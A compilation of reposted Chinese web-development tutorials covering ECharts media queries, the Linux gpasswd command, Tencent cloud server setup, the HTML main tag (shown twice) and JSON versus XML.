以下实例中我们可以可尝试拖动右下角的圆点,图表会随着屏幕尺寸变化,legend 和 系列会自动改变布局位置和方式。

实例中我们使用了 jQuery 来加载外部数据,使用时我们需要引入 jQuery 库。

实例

$.when(
    $.getScript(‘https://www.runoob.com/static/js/timelineGDP.js’),
    $.getScript(‘https://www.runoob.com/static/js/draggable.js’)
).done(function () {

    draggable.init(
        $(‘div[_echarts_instance_]’)[0],
        myChart,
        {
            width: 700,
            height: 400,
            throttle: 70
        }
    );

    myChart.hideLoading();

    option = {
        baseOption: {
            title : {
                text: ‘南丁格尔玫瑰图’,
                subtext: ‘纯属虚构’,
                x:‘center’
            },
            tooltip : {
                trigger: ‘item’,
                formatter: “{a} <br/>{b} : {c} ({d}%)”
            },
            legend: {
                data:[‘rose1’,‘rose2’,‘rose3’,‘rose4’,‘rose5’,‘rose6’,‘rose7’,‘rose8’]
            },
            toolbox: {
                show : true,
                feature : {
                    mark : {show: true},
                    dataView : {show: true, readOnly: false},
                    magicType : {
                        show: true,
                        type: [‘pie’, ‘funnel’]
                    },
                    restore : {show: true},
                    saveAsImage : {show: true}
                }
            },
            calculable : true,
            series : [
                {
                    name:‘半径模式’,
                    type:‘pie’,
                    roseType : ‘radius’,
                    label: {
                        normal: {
                            show: false
                        },
                        emphasis: {
                            show: true
                        }
                    },
                    lableLine: {
                        normal: {
                            show: false
                        },
                        emphasis: {
                            show: true
                        }
                    },
                    data:[
                        {value:10, name:‘rose1’},
                        {value:5, name:‘rose2’},
                        {value:15, name:‘rose3’},
                        {value:25, name:‘rose4’},
                        {value:20, name:‘rose5’},
                        {value:35, name:‘rose6’},
                        {value:30, name:‘rose7’},
                        {value:40, name:‘rose8’}
                    ]
                },
                {
                    name:‘面积模式’,
                    type:‘pie’,
                    roseType : ‘area’,
                    data:[
                        {value:10, name:‘rose1’},
                        {value:5, name:‘rose2’},
                        {value:15, name:‘rose3’},
                        {value:25, name:‘rose4’},
                        {value:20, name:‘rose5’},
                        {value:35, name:‘rose6’},
                        {value:30, name:‘rose7’},
                        {value:40, name:‘rose8’}
                    ]
                }
            ]
        },
        media: [
            {
                option: {
                    legend: {
                        right: ‘center’,
                        bottom: 0,
                        orient: ‘horizontal’
                    },
                    series: [
                        {
                            radius: [20, ‘50%’],
                            center: [‘25%’, ‘50%’]
                        },
                        {
                            radius: [30, ‘50%’],
                            center: [‘75%’, ‘50%’]
                        }
                    ]
                }
            },
            {
                query: {
                    minAspectRatio: 1
                },
                option: {
                    legend: {
                        right: ‘center’,
                        bottom: 0,
                        orient: ‘horizontal’
                    },
                    series: [
                        {
                            radius: [20, ‘50%’],
                            center: [‘25%’, ‘50%’]
                        },
                        {
                            radius: [30, ‘50%’],
                            center: [‘75%’, ‘50%’]
                        }
                    ]
                }
            },
            {
                query: {
                    maxAspectRatio: 1
                },
                option: {
                    legend: {
                        right: ‘center’,
                        bottom: 0,
                        orient: ‘horizontal’
                    },
                    series: [
                        {
                            radius: [20, ‘50%’],
                            center: [‘50%’, ‘30%’]
                        },
                        {
                            radius: [30, ‘50%’],
                            center: [‘50%’, ‘70%’]
                        }
                    ]
                }
            },
            {
                query: {
                    maxWidth: 500
                },
                option: {
                    legend: {
                        right: 10,
                        top: ‘15%’,
                        orient: ‘vertical’
                    },
                    series: [
                        {
                            radius: [20, ‘50%’],
                            center: [‘50%’, ‘30%’]
                        },
                        {
                            radius: [30, ‘50%’],
                            center: [‘50%’, ‘75%’]
                        }
                    ]
                }
            }
        ]
    };

    myChart.setOption(option);

});

尝试一下 »

要在 option 中设置 Media Query 须遵循如下格式:

option = {
    baseOption: { // 这里是基本的『原子option』。
        title: {...},
        legend: {...},
        series: [{...}, {...}, ...],
        ...
    },
    media: [ // 这里定义了 media query 的逐条规则。
        {
            query: {...},   // 这里写规则。
            option: {       // 这里写此规则满足下的option。
                legend: {...},
                ...
            }
        },
        {
            query: {...},   // 第二个规则。
            option: {       // 第二个规则对应的option。
                legend: {...},
                ...
            }
        },
        {                   // 这条里没有写规则,表示『默认』,
            option: {       // 即所有规则都不满足时,采纳这个option。
                legend: {...},
                ...
            }
        }
    ]
};

上面的例子中,baseOption、以及 media 每个 option 都是『原子 option』,即普通的含有各组件、系列定义的 option。而由『原子option』组合成的整个 option,我们称为『复合 option』。baseOption 是必然被使用的,此外,满足了某个 query 条件时,对应的 option 会被使用 chart.mergeOption() 来 merge 进去。

query

每个 query 类似于这样:

{
    minWidth: 200,
    maxHeight: 300,
    minAspectRatio: 1.3
}

现在支持三个属性:width、height、aspectRatio(长宽比)。每个属性都可以加上 min 或 max 前缀。比如,minWidth: 200 表示『大于等于200px宽度』。两个属性一起写表示『并且』,比如:{minWidth: 200, maxHeight: 300} 表示『大于等于200px宽度,并且小于等于300px高度』。

option

media中的 option 既然是『原子 option』,理论上可以写任何 option 的配置项。但是一般我们只写跟布局定位相关的,例如截取上面例子中的一部分 query option:

media: [
    ...,
    {
        query: {
            maxAspectRatio: 1           // 当长宽比小于1时。
        },
        option: {
            legend: {                   // legend 放在底部中间。
                right: 'center',
                bottom: 0,
                orient: 'horizontal'    // legend 横向布局。
            },
            series: [                   // 两个饼图左右布局。
                {
                    radius: [20, '50%'],
                    center: ['50%', '30%']
                },
                {
                    radius: [30, '50%'],
                    center: ['50%', '70%']
                }
            ]
        }
    },
    {
        query: {
            maxWidth: 500               // 当容器宽度小于 500 时。
        },
        option: {
            legend: {
                right: 10,              // legend 放置在右侧中间。
                top: '15%',
                orient: 'vertical'      // 纵向布局。
            },
            series: [                   // 两个饼图上下布局。
                {
                    radius: [20, '50%'],
                    center: ['50%', '30%']
                },
                {
                    radius: [30, '50%'],
                    center: ['50%', '75%']
                }
            ]
        }
    },
    ...
]

多个 query 被满足时的优先级

注意,可以有多个 query 同时被满足,会都被 mergeOption,定义在后的后被 merge(即优先级更高)。

默认 query

如果 media 中有某项不写 query,则表示『默认值』,即所有规则都不满足时,采纳这个option。

容器大小实时变化时的注意事项

在不少情况下,并不需要容器DOM节点任意随着拖拽变化大小,而是只是根据不同终端设置几个典型尺寸。

但是如果容器DOM节点需要能任意随着拖拽变化大小,那么目前使用时需要注意这件事:某个配置项,如果在某一个 query option 中出现,那么在其他 query option 中也必须出现,否则不能够回归到原来的状态。(left/right/top/bottom/width/height 不受这个限制。)

『复合 option』 中的 media 不支持 merge

也就是说,当第二(或三、四、五 …)次 chart.setOption(rawOption) 时,如果 rawOption 是 复合option(即包含 media 列表),那么新的 rawOption.media 列表不会和老的 media 列表进行 merge,而是简单替代。当然,rawOption.baseOption 仍然会正常和老的 option 进行merge。

其实,很少有场景需要使用『复合 option』来多次 setOption,而我们推荐的做法是,使用 mediaQuery 时,第一次setOption使用『复合 option』,后面 setOption 时仅使用 『原子 option』,也就是仅仅用 setOption 来改变 baseOption。

以下中我们使用了 jQuery 来加载外部数据,使用时我们需要引入 jQuery 库。该实例是一个和时间轴结合的例子:

实例

$.when(
    $.getScript(‘https://www.runoob.com/static/js/timelineGDP.js’),
    $.getScript(‘https://www.runoob.com/static/js/draggable.js’)
).done(function () {

    draggable.init(
        $(‘div[_echarts_instance_]’)[0],
        myChart,
        {
            width: 700,
            height: 630,
            lockY: true,
            throttle: 70
        }
    );

    myChart.hideLoading();

    var categoryData = [
        ‘北京’,‘天津’,‘河北’,‘山西’,‘内蒙古’,‘辽宁’,‘吉林’,‘黑龙江’,
        ‘上海’,‘江苏’,‘浙江’,‘安徽’,‘福建’,‘江西’,‘山东’,‘河南’,
        ‘湖北’,‘湖南’,‘广东’,‘广西’,‘海南’,‘重庆’,‘四川’,‘贵州’,
        ‘云南’,‘西藏’,‘陕西’,‘甘肃’,‘青海’,‘宁夏’,‘新疆’
    ];

    option = {
        baseOption: {
            timeline: {
                axisType: ‘category’,
                autoPlay: true,
                playInterval: 1000,
                data: [
                    ‘2002-01-01’, ‘2003-01-01’, ‘2004-01-01’,
                    ‘2005-01-01’, ‘2006-01-01’, ‘2007-01-01’,
                    ‘2008-01-01’, ‘2009-01-01’, ‘2010-01-01’,
                    ‘2011-01-01’
                ],
                label: {
                    formatter : function(s) {
                        return (new Date(s)).getFullYear();
                    }
                }
            },
            title: {
                subtext: ‘Media Query 示例’
            },
            tooltip: {
                trigger:‘axis’,
                axisPointer: {
                    type: ‘shadow’
                }
            },
            xAxis: {
                type: ‘value’,
                name: ‘GDP(亿元)’,
                max: 30000,
                data: null
            },
            yAxis: {
                type: ‘category’,
                data: categoryData,
                axisLabel: {interval: 0},
                splitLine: {show: false}
            },
            legend: {
                data: [‘第一产业’, ‘第二产业’, ‘第三产业’, ‘GDP’, ‘金融’, ‘房地产’],
                selected: {
                    ‘GDP’: false, ‘金融’: false, ‘房地产’: false
                }
            },
            calculable : true,
            series: [
                {name: ‘GDP’, type: ‘bar’},
                {name: ‘金融’, type: ‘bar’},
                {name: ‘房地产’, type: ‘bar’},
                {name: ‘第一产业’, type: ‘bar’},
                {name: ‘第二产业’, type: ‘bar’},
                {name: ‘第三产业’, type: ‘bar’},
                {name: ‘GDP占比’, type: ‘pie’}
            ]
        },
        media: [
            {
                option: {
                    legend: {
                        orient: ‘horizontal’,
                        left: ‘right’,
                        itemGap: 10
                    },
                    grid: {
                        left: ‘10%’,
                        top: 80,
                        right: 90,
                        bottom: 100
                    },
                    xAxis: {
                        nameLocation: ‘end’,
                        nameGap: 10,
                        splitNumber: 5,
                        splitLine: {
                            show: true
                        }
                    },
                    timeline: {
                        orient: ‘horizontal’,
                        inverse: false,
                        left: ‘20%’,
                        right: ‘20%’,
                        bottom: 10,
                        height: 40
                    },
                    series: [
                        {name: ‘GDP占比’, center: [‘75%’, ‘30%’], radius: ‘28%’}
                    ]
                }
            },
            {
                query: {maxWidth: 670, minWidth: 550},
                option: {
                    legend: {
                        orient: ‘horizontal’,
                        left: 200,
                        itemGap: 5
                    },
                    grid: {
                        left: ‘10%’,
                        top: 80,
                        right: 90,
                        bottom: 100
                    },
                    xAxis: {
                        nameLocation: ‘end’,
                        nameGap: 10,
                        splitNumber: 5,
                        splitLine: {
                            show: true
                        }
                    },
                    timeline: {
                        orient: ‘horizontal’,
                        inverse: false,
                        left: ‘20%’,
                        right: ‘20%’,
                        bottom: 10,
                        height: 40
                    },
                    series: [
                        {name: ‘GDP占比’, center: [‘75%’, ‘30%’], radius: ‘28%’}
                    ]
                }
            },
            {
                query: {maxWidth: 550},
                option: {
                    legend: {
                        orient: ‘vertical’,
                        left: ‘right’,
                        itemGap: 5
                    },
                    grid: {
                        left: 55,
                        top: ‘32%’,
                        right: 100,
                        bottom: 50
                    },
                    xAxis: {
                        nameLocation: ‘middle’,
                        nameGap: 25,
                        splitNumber: 3
                    },
                    timeline: {
                        orient: ‘vertical’,
                        inverse: true,
                        right: 10,
                        top: 150,
                        bottom: 10,
                        width: 55
                    },
                    series: [
                        {name: ‘GDP占比’, center: [‘45%’, ‘20%’], radius: ‘28%’}
                    ]
                }
            }
        ],
        options: [
            {
                title: {text: ‘2002全国宏观经济指标’},
                series: [
                    {data: dataMap.dataGDP[‘2002’]},
                    {data: dataMap.dataFinancial[‘2002’]},
                    {data: dataMap.dataEstate[‘2002’]},
                    {data: dataMap.dataPI[‘2002’]},
                    {data: dataMap.dataSI[‘2002’]},
                    {data: dataMap.dataTI[‘2002’]},
                    {data: [
                        {name: ‘第一产业’, value: dataMap.dataPI[‘2002sum’]},
                        {name: ‘第二产业’, value: dataMap.dataSI[‘2002sum’]},
                        {name: ‘第三产业’, value: dataMap.dataTI[‘2002sum’]}
                    ]}
                ]
            },
            {
                title : {text: ‘2003全国宏观经济指标’},
                series : [
                    {data: dataMap.dataGDP[‘2003’]},
                    {data: dataMap.dataFinancial[‘2003’]},
                    {data: dataMap.dataEstate[‘2003’]},
                    {data: dataMap.dataPI[‘2003’]},
                    {data: dataMap.dataSI[‘2003’]},
                    {data: dataMap.dataTI[‘2003’]},
                    {data: [
                        {name: ‘第一产业’, value: dataMap.dataPI[‘2003sum’]},
                        {name: ‘第二产业’, value: dataMap.dataSI[‘2003sum’]},
                        {name: ‘第三产业’, value: dataMap.dataTI[‘2003sum’]}
                    ]}
                ]
            },
            {
                title : {text: ‘2004全国宏观经济指标’},
                series : [
                    {data: dataMap.dataGDP[‘2004’]},
                    {data: dataMap.dataFinancial[‘2004’]},
                    {data: dataMap.dataEstate[‘2004’]},
                    {data: dataMap.dataPI[‘2004’]},
                    {data: dataMap.dataSI[‘2004’]},
                    {data: dataMap.dataTI[‘2004’]},
                    {data: [
                        {name: ‘第一产业’, value: dataMap.dataPI[‘2004sum’]},
                        {name: ‘第二产业’, value: dataMap.dataSI[‘2004sum’]},
                        {name: ‘第三产业’, value: dataMap.dataTI[‘2004sum’]}
                    ]}
                ]
            },
            {
                title : {text: ‘2005全国宏观经济指标’},
                series : [
                    {data: dataMap.dataGDP[‘2005’]},
                    {data: dataMap.dataFinancial[‘2005’]},
                    {data: dataMap.dataEstate[‘2005’]},
                    {data: dataMap.dataPI[‘2005’]},
                    {data: dataMap.dataSI[‘2005’]},
                    {data: dataMap.dataTI[‘2005’]},
                    {data: [
                        {name: ‘第一产业’, value: dataMap.dataPI[‘2005sum’]},
                        {name: ‘第二产业’, value: dataMap.dataSI[‘2005sum’]},
                        {name: ‘第三产业’, value: dataMap.dataTI[‘2005sum’]}
                    ]}
                ]
            },
            {
                title : {text: ‘2006全国宏观经济指标’},
                series : [
                    {data: dataMap.dataGDP[‘2006’]},
                    {data: dataMap.dataFinancial[‘2006’]},
                    {data: dataMap.dataEstate[‘2006’]},
                    {data: dataMap.dataPI[‘2006’]},
                    {data: dataMap.dataSI[‘2006’]},
                    {data: dataMap.dataTI[‘2006’]},
                    {data: [
                        {name: ‘第一产业’, value: dataMap.dataPI[‘2006sum’]},
                        {name: ‘第二产业’, value: dataMap.dataSI[‘2006sum’]},
                        {name: ‘第三产业’, value: dataMap.dataTI[‘2006sum’]}
                    ]}
                ]
            },
            {
                title : {text: ‘2007全国宏观经济指标’},
                series : [
                    {data: dataMap.dataGDP[‘2007’]},
                    {data: dataMap.dataFinancial[‘2007’]},
                    {data: dataMap.dataEstate[‘2007’]},
                    {data: dataMap.dataPI[‘2007’]},
                    {data: dataMap.dataSI[‘2007’]},
                    {data: dataMap.dataTI[‘2007’]},
                    {data: [
                        {name: ‘第一产业’, value: dataMap.dataPI[‘2007sum’]},
                        {name: ‘第二产业’, value: dataMap.dataSI[‘2007sum’]},
                        {name: ‘第三产业’, value: dataMap.dataTI[‘2007sum’]}
                    ]}
                ]
            },
            {
                title : {text: ‘2008全国宏观经济指标’},
                series : [
                    {data: dataMap.dataGDP[‘2008’]},
                    {data: dataMap.dataFinancial[‘2008’]},
                    {data: dataMap.dataEstate[‘2008’]},
                    {data: dataMap.dataPI[‘2008’]},
                    {data: dataMap.dataSI[‘2008’]},
                    {data: dataMap.dataTI[‘2008’]},
                    {data: [
                        {name: ‘第一产业’, value: dataMap.dataPI[‘2008sum’]},
                        {name: ‘第二产业’, value: dataMap.dataSI[‘2008sum’]},
                        {name: ‘第三产业’, value: dataMap.dataTI[‘2008sum’]}
                    ]}
                ]
            },
            {
                title : {text: ‘2009全国宏观经济指标’},
                series : [
                    {data: dataMap.dataGDP[‘2009’]},
                    {data: dataMap.dataFinancial[‘2009’]},
                    {data: dataMap.dataEstate[‘2009’]},
                    {data: dataMap.dataPI[‘2009’]},
                    {data: dataMap.dataSI[‘2009’]},
                    {data: dataMap.dataTI[‘2009’]},
                    {data: [
                        {name: ‘第一产业’, value: dataMap.dataPI[‘2009sum’]},
                        {name: ‘第二产业’, value: dataMap.dataSI[‘2009sum’]},
                        {name: ‘第三产业’, value: dataMap.dataTI[‘2009sum’]}
                    ]}
                ]
            },
            {
                title : {text: ‘2010全国宏观经济指标’},
                series : [
                    {data: dataMap.dataGDP[‘2010’]},
                    {data: dataMap.dataFinancial[‘2010’]},
                    {data: dataMap.dataEstate[‘2010’]},
                    {data: dataMap.dataPI[‘2010’]},
                    {data: dataMap.dataSI[‘2010’]},
                    {data: dataMap.dataTI[‘2010’]},
                    {data: [
                        {name: ‘第一产业’, value: dataMap.dataPI[‘2010sum’]},
                        {name: ‘第二产业’, value: dataMap.dataSI[‘2010sum’]},
                        {name: ‘第三产业’, value: dataMap.dataTI[‘2010sum’]}
                    ]}
                ]
            },
            {
                title : {text: ‘2011全国宏观经济指标’},
                series : [
                    {data: dataMap.dataGDP[‘2011’]},
                    {data: dataMap.dataFinancial[‘2011’]},
                    {data: dataMap.dataEstate[‘2011’]},
                    {data: dataMap.dataPI[‘2011’]},
                    {data: dataMap.dataSI[‘2011’]},
                    {data: dataMap.dataTI[‘2011’]},
                    {data: [
                        {name: ‘第一产业’, value: dataMap.dataPI[‘2011sum’]},
                        {name: ‘第二产业’, value: dataMap.dataSI[‘2011sum’]},
                        {name: ‘第三产业’, value: dataMap.dataTI[‘2011sum’]}
                    ]}
                ]
            }
        ]
    };

    myChart.setOption(option);

});

尝试一下 »


本文来源于互联网:ECharts 响应式

Linux gpasswd 命令

Linux gpasswd 命令

Linux gpasswd 命令 Linux 命令大全

Linux passwd 是 Linux 下工作组文件 /etc/group 和 /etc/gshadow 管理工具,用于将一个用户添加到组或者从组中删除。

语法

gpasswd [可选项] 组名

可选项参数

  • -a:添加用户到组;
  • -d:从组删除用户;
  • -A:指定管理员;
  • -M:指定组成员和-A的用途差不多;
  • -r:删除密码;
  • -R:限制用户登入组,只有组中的成员才可以用newgrp加入该组。

实例

如系统有个 peter 账户,该账户本身不是 groupname 群组的成员,使用 newgrp 需要输入密码即可。

gpasswd groupname

让使用者暂时加入成为该组成员,之后 peter 建立的文件 group 也会是 groupname。所以该方式可以暂时让 peter 建立文件时使用其他的组,而不是 peter 本身所在的组。

所以使用 gpasswd groupname 设定密码,就是让知道该群组密码的人可以暂时切换具备 groupname 群组功能的。

gpasswd -A peter users

这样 peter 就是 users 群组的管理员,就可以执行下面的操作:

gpasswd -a mary users
gpasswd -a allen users

注意:添加用户到某一个组 可以使用 usermod -G group_name user_name 这个命令可以添加一个用户到指定的组,但是以前添加的组就会清空掉。

所以想要添加一个用户到一个组,同时保留以前添加的组时,请使用 gpasswd 这个命令来添加操作用户:

gpasswd -a user_name group_name

Linux gpasswd 命令 Linux 命令大全


本文来源于互联网:Linux gpasswd 命令

Linux 云服务器

Linux 云服务器

自己安装服务器还是麻烦了些,现在一般都推荐大家使用云服务器,比较方便,价格也不贵。

目前市场上的云服务器很多,这边比较下腾讯云跟阿里云的服务器优惠活动,现在看来腾讯云性价比会高一些。


腾讯云

年末腾讯云活动已开始,以下几款性价比非常高,有几款是需要抢购的,大家看好时间基本能拿到。

  • 1、1核2G 128/年,可以用来学习,Linux 知识对技术人员的成才非常重要。
  • 2、2核4G 368/年。
  • 3、另外还有香港的服务器,如果做网站不想去备案,可以考虑,香港速度还是很快的。

每个时间点都有不同的配置跟价格,具体信息,可以点击下面的图片:

Linux 云服务器

另外企业用户还有更高配置的,价格也很实惠:

Linux 云服务器


腾讯云服务器使用

本章节以腾讯云服务器为例。

1、首先点击下图购买(更多服务器的配置信息见下文):

Linux 云服务器

2、登陆腾讯云控制台,查看已购买的服务器:

Linux 云服务器

3、在使用腾讯云服务器前,我们需要先创建一个 SSH 密钥,点击左侧的 SSH 密钥 (使用密钥登录比密码更安全):

Linux 云服务器

输入密钥名称,然后点击确定,就会自动生成一个密钥,密钥会自动下载到本地,请保存好下载的密钥,密钥文件名就是你输入的密钥名称。

4、接着我们勾选已经创建的密钥,点击 绑定/解绑实例 按钮,弹窗中会出现我们的 ECS 服务器,将其绑定到这个密钥即可:

Linux 云服务器

5、返回实例列表,点击实例右侧的 登录 按钮,弹窗中点击立即登录,这是会弹出一个新的浏览器窗口,我们选择密钥登录,密钥文件就是在第三个步骤创建的:

Linux 云服务器

Linux 云服务器

Linux 云服务器

当然你可以选择第三方客户端登录(如:SecureCRT),用户名为 ubuntu,其他系统估计略有不同,然后导入对应的 key 即可。


本文来源于互联网:Linux 云服务器

HTML main 标签

HTML main 标签

实例

使用 main 标签来展示文档的主体部分:

<main>
<h1>Web 浏览器</h1>
<p>Google Chrome、Firefox 以及 Internet Explorer 是目前最流行的浏览器。</p>

<article>
<h1>Google Chrome 浏览器</h1>
<p>Google Chrome 浏览器是由 Google 开发的一款免费的开源 web 浏览器,于 2008 年发布。</p>
</article>

<article>
<h1>Internet Explorer 浏览器</h1>
<p>Internet Explorer 浏览器由微软开发的一款免费的 web 浏览器,发布于 1995 年。</p>
</article>

<article>
<h1>Mozilla Firefox 浏览器</h1>
<p>Firefox 浏览器是一款来自 Mozilla 的免费开源 web 浏览器,发布于 2004 年。</p>
</article>
</main>

尝试一下 »


定义和用法

<main> 标签用于指定文档的主体内容。

<main> 标签中的内容在文档中是唯一的。它不应包含在文档中重复出现的内容,比如侧栏、导航栏、版权信息、站点标志或搜索表单。

注意在一个文档中,<main> 元素是唯一的,所以不能出现一个以上的 <main> 元素。<main> 元素不能是以下元素的后代:<article>、<aside>、<footer>、<header> 或 <nav>。


浏览器支持

表格中的数字表示支持该元素的第一个浏览器版本号。

元素
<main> 6.0 12.0 4.0 5.0 11.1

HTML 4.01 与 HTML5之间的差异

<main> 标签是 HTML5 中新增加的。


本文来源于互联网:HTML main 标签

HTML main 标签

HTML main 标签

实例

使用 main 标签来展示文档的主体部分:

<main>
<h1>Web 浏览器</h1>
<p>Google Chrome、Firefox 以及 Internet Explorer 是目前最流行的浏览器。</p>

<article>
<h1>Google Chrome 浏览器</h1>
<p>Google Chrome 浏览器是由 Google 开发的一款免费的开源 web 浏览器,于 2008 年发布。</p>
</article>

<article>
<h1>Internet Explorer 浏览器</h1>
<p>Internet Explorer 浏览器由微软开发的一款免费的 web 浏览器,发布于 1995 年。</p>
</article>

<article>
<h1>Mozilla Firefox 浏览器</h1>
<p>Firefox 浏览器是一款来自 Mozilla 的免费开源 web 浏览器,发布于 2004 年。</p>
</article>
</main>

尝试一下 »


定义和用法

<main> 标签用于指定文档的主体内容。

<main> 标签中的内容在文档中是唯一的。它不应包含在文档中重复出现的内容,比如侧栏、导航栏、版权信息、站点标志或搜索表单。

注意在一个文档中,<main> 元素是唯一的,所以不能出现一个以上的 <main> 元素。<main> 元素不能是以下元素的后代:<article>、<aside>、<footer>、<header> 或 <nav>。


浏览器支持

表格中的数字表示支持该元素的第一个浏览器版本号。

元素
<main> 6.0 12.0 4.0 5.0 11.1

HTML 4.01 与 HTML5之间的差异

<main> 标签是 HTML5 中新增加的。


本文来源于互联网:HTML main 标签

JSON vs XML

JSON vs XML

JSON 和 XML 都用于接收 web 服务端的数据。

JSON 和 XML在写法上有所不同,如下所示:

JSON 实例

{
sites: [
{ name:菜鸟教程 , url:www.runoob.com },
{ name:google , url:www.google.com },
{ name:微博 , url:www.weibo.com }
]
}

XML 实例

<sites>
<site>
<name>菜鸟教程</name> <url>www.runoob.com</url>
</site>
<site>
<name>google</name> <url>www.google.com</url>
</site>
<site>
<name>微博</name> <url>www.weibo.com</url>
</site>
</sites>

JSON 与 XML 的相同之处:

  • JSON 和 XML 数据都是 “自我描述” ,都易于理解。
  • JSON 和 XML 数据都是有层次的结构
  • JSON 和 XML 数据可以被大多数编程语言使用

JSON 与 XML 的不同之处:

  • JSON 不需要结束标签
  • JSON 更加简短
  • JSON 读写速度更快
  • JSON 可以使用数组

最大的不同是:XML 需要使用 XML 解析器来解析,JSON 可以使用标准的 JavaScript 函数来解析。


为什么 JSON 比 XML 更好?

XML 比 JSON 更难解析。

JSON 可以直接使用现有的 JavaScript 对象解析。

针对 AJAX 应用,JSON 比 XML 数据加载更快,而且更简单:

使用 XML

  • 获取 XML 文档
  • 使用 XML DOM 迭代循环文档
  • 接数据解析出来复制给变量

使用 JSON

  • 获取 JSON 字符串
  • JSON.Parse 解析 JSON 字符串

相关文章


本文来源于互联网:JSON vs XML